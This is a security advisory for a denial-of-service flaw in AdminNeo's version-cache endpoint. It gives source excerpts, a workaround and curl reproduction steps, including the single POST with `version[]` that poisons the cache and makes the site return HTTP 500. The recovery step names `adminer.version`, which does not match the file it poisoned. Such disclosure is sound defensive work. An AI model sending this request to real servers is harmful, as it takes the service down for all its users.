CVE-2026-59978 — Vulnerability intelligence
adminneo-org — adminneo-org/adminneo
Published:
- CVSS
- 7.5
- CISA KEV
- Not listed; not proof of no exploitation
Original source text (not a translation)
AdminNeo: version-cache array injection causes persistent denial of service
### Summary
AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.
Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh
Although the version checking process was modified in AdminNeo, the root cause persisted.
### Workaround
If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.
### Details
#### 1. Intended design of `?script=version`
The endpoint is designed to receive version data from GitHub via browser JavaScript.
- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.
- JavaScript POSTs version number to `?script=version`.
- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.
```js
// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);
```
#### 2. The vulnerability
The endpoint only checks `$_GET["script"] == "version"` - it does not validate:
- Request origin (CSRF token is present, but not checked for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (`version` expected as string, array not rejected)
```php
// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
$filename = get_temp_dir() . "/adminneo.version";
@unlink($filename); // It may not be writable by us, @ - it may not exist.
$file = open_file_with_lock($filename);
if ($file) {
write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
}
exit;
}
```
#### 3. Type confusion crash
When POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:
```php
// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.
// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}
```
PHP 8.x throws:
```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```
### Steps to Reproduce
(Example URL is for the official AdminNeo Docker image.)
**Step 1:** Verify AdminNeo is running and accessible.
```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```
Expected output:
```
200
```
**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.
```sh
curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"
```
Expected output: Empty response (no error).
**Step 3:** Access Adminer again to trigger the crash.
```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```
Expected output:
```
500
```
**Step 4:** (Optional) View the PHP error in server logs.
```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```
**Step 5:** (Optional) Inspect the poisoned file.
```sh
cat /tmp/adminneo.version
```
Expected output:
```
a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
```
**Recovery:**
```sh
rm /tmp/adminer.version
```
After deletion, AdminNeo returns HTTP 200.
<hr>
### Impact
**Type:** Denial of Service
**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.
**Affected users:** Any AdminNeo instance accessible over the network.